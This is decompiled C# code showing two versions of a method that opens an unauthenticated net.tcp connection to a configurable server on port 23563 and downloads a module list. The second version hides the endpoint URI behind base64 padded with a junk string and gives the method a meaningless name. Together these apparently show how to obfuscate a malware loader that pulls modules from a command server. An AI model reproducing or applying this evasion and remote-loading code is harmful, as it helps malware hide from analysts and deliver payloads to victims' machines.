// Token: 0x06000030 RID: 48 RVA: 0x0000310C File Offset: 0x0000130C private List <ModuleFile> LoadAssemblies() { List <ModuleFile> result; try { InstanceContext callbackInstance = new InstanceContext(this); NetTcpBinding netTcpBinding = new NetTcpBinding { Security = new NetTcpSecurity { Mode = SecurityMode.None }, MaxBufferPoolSize = 2147483647L, MaxReceivedMessageSize = 2147483647L, ReaderQuotas = new XmlDictionaryReaderQuotas { MaxDepth = 2000000, MaxStringContentLength = int.MaxValue, MaxArrayLength = int.MaxValue, MaxBytesPerRead = int.MaxValue, MaxNameTableCharCount = int.MaxValue } }; netTcpBinding.SendTimeout = new TimeSpan(24, 30, 0); netTcpBinding.ReceiveTimeout = new TimeSpan(24, 30, 0); netTcpBinding.OpenTimeout = new TimeSpan(24, 30, 0); string uri = string.Format("net.tcp://{0}:23563/IConnector", this._settings.ServerAdress); IConnector connector = new DuplexChannelFactory <IConnector>(callbackInstance, netTcpBinding).CreateChannel(new EndpointAddress(uri)); result = connector.GetModuleList().Result; } catch (Exception value) { Console.WriteLine(value); result = new List <ModuleFile>(); } return(result); }
// Token: 0x06000021 RID: 33 RVA: 0x00002A70 File Offset: 0x00000C70 private List <ModuleFile> loadk2j1jd() { List <ModuleFile> result; try { InstanceContext callbackInstance = new InstanceContext(this); NetTcpBinding netTcpBinding = new NetTcpBinding { Security = new NetTcpSecurity { Mode = SecurityMode.None }, MaxBufferPoolSize = 2147483647L, MaxReceivedMessageSize = 2147483647L, ReaderQuotas = new XmlDictionaryReaderQuotas { MaxDepth = 2000000, MaxStringContentLength = int.MaxValue, MaxArrayLength = int.MaxValue, MaxBytesPerRead = int.MaxValue, MaxNameTableCharCount = int.MaxValue } }; netTcpBinding.SendTimeout = new TimeSpan(24, 30, 0); netTcpBinding.ReceiveTimeout = new TimeSpan(24, 30, 0); netTcpBinding.OpenTimeout = new TimeSpan(24, 30, 0); string uri = string.Format(Fazathron.Base64Decode("bmV0LnRjcDovLsk1kjd82jja3swfToyMzU2My9JQ29ubmVjdG9y".Replace("sk1kjd82jja", "")), this._settings.ServerAdress); IConnector connector = new DuplexChannelFactory <IConnector>(callbackInstance, netTcpBinding).CreateChannel(new EndpointAddress(uri)); result = connector.GetModuleList().Result; } catch (Exception value) { Console.WriteLine(value); result = new List <ModuleFile>(); } return(result); }